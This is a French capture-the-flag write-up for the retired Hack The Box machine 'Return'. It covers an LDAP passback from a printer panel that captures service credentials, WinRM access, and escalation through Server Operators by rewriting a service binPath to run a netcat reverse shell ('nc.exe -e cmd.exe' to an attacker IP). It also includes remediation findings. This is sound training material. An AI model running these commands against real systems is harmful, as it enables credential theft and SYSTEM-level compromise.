Windows Easy
Return : passback LDAP d'une imprimante puis Server Operators
Panel d'admin imprimante dont le champ serveur LDAP renvoie les credentials svc-printer vers un listener. Privesc via l'appartenance à Server Operators (hijack du binPath d'un service).
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Contrôleur de domaine avec un panel web d'administration d'imprimante.
- Le champ "serveur LDAP" du panel est modifiable : on le pointe vers notre listener, l'imprimante nous renvoie les identifiants
svc-printeren clair (passback). svc-printerest dans Remote Management Users : accès user en WinRM.- Le compte est aussi dans Server Operators, ce qui autorise la reconfiguration des services.
- On réécrit le binPath d'un service vers un reverse shell et on le redémarre : exécution en SYSTEM.
Reconnaissance
nmap -p- --min-rate 5000 -oA nmap/return-full 10.129.95.241
nmap -sCV -p 53,80,88,135,139,389,445,5985 -oA nmap/return 10.129.95.24153/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI (WinRM)DNS + Kerberos + LDAP + WinRM : c'est un contrôleur de domaine. Le port 80 sert un panel d'administration d'imprimante. Petit tour en SMB null pour récupérer le nom de l'hôte :
netexec smb 10.129.95.241 -u '' -p ''On ajoute les noms au fichier hosts :
echo "10.129.95.241 return.local printer.return.local" | sudo tee -a /etc/hostsFoothold
Passback LDAP
Le panel (http://10.129.95.241/settings.php) laisse modifier l'adresse du serveur LDAP que l'imprimante interroge. Classique du passback : si on remplace cette adresse par la nôtre, l'imprimante vient s'authentifier chez nous et nous livre les identifiants du compte de service, en clair.
On met un listener sur le port LDAP, on change l'adresse du serveur dans le panel pour notre IP tun0, puis on clique sur "Update / Test".
sudo nc -lvnp 389L'imprimante se connecte et balance le bind LDAP :
return\svc-printer
1edFg43012!!Accès user
On vérifie le compte et ses groupes avec netexec avant de se connecter :
netexec smb 10.129.95.241 -u svc-printer -p '1edFg43012!!' --groupssvc-printer est membre de Remote Management Users (donc WinRM) et de Server Operators (on y reviendra pour le privesc). On se connecte :
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat user.txtÉlévation vers SYSTEM
Server Operators : hijack du binPath
whoami /priv montre déjà SeBackup / SeRestore, mais le chemin le plus direct ici c'est l'appartenance à Server Operators. Ce groupe peut reconfigurer les services Windows, qui tournent en SYSTEM. On en détourne un : on réécrit son binPath vers un reverse shell, puis on le redémarre.
whoami /privOn dépose nc.exe dans un dossier accessible en écriture :
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /opt/resources/windows/nc/nc.exeOn choisit un service qu'on a le droit d'arrêter/démarrer (ici VMTools, n'importe quel service contrôlable fait l'affaire), on remplace son binaire, puis on le relance :
*Evil-WinRM* PS C:\> sc.exe stop VMTools
*Evil-WinRM* PS C:\> sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.84 1337"
*Evil-WinRM* PS C:\> sc.exe start VMToolsPendant ce temps, le listener attend :
sudo nc -lvnp 1337Le service démarre le binaire en SYSTEM, le shell remonte :
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Panel imprimante : champ serveur LDAP modifiable (passback des credentials) | Critique | Ne pas stocker de compte privilégié dans l'imprimante, isoler l'imprimante, interdire la modification du serveur LDAP sans réauthentification |
| F2 | Compte de service svc-printer à mot de passe faible, membre de Server Operators | Élevée | Mot de passe robuste, retirer le compte de service des groupes privilégiés |
| F3 | Server Operators peut reconfigurer des services (binPath hijack vers SYSTEM) | Critique | Restreindre l'appartenance à Server Operators, surveiller les modifications de services |
Leçons apprises
- Un champ "serveur LDAP / annuaire" modifiable sur un équipement (imprimante, NAS, MFP) est un passback en puissance : pointe-le vers toi et écoute, le compte de service arrive en clair.
- Les octets bizarres en tête de la capture LDAP sont de l'ASN.1/BER, pas des caractères du mot de passe. Ne pas se faire piéger en les recopiant.
- Appartenance à Server Operators = privesc quasi garanti sur un DC : reconfiguration de service, binPath vers un payload, redémarrage, SYSTEM. C'est le vecteur de premier passage à tester avant d'aller fouiller SeBackup/NTDS.
- Le service détourné n'est pas un vrai service : il sera tué au timeout, il faut récupérer le shell rapidement et nettoyer le binPath ensuite.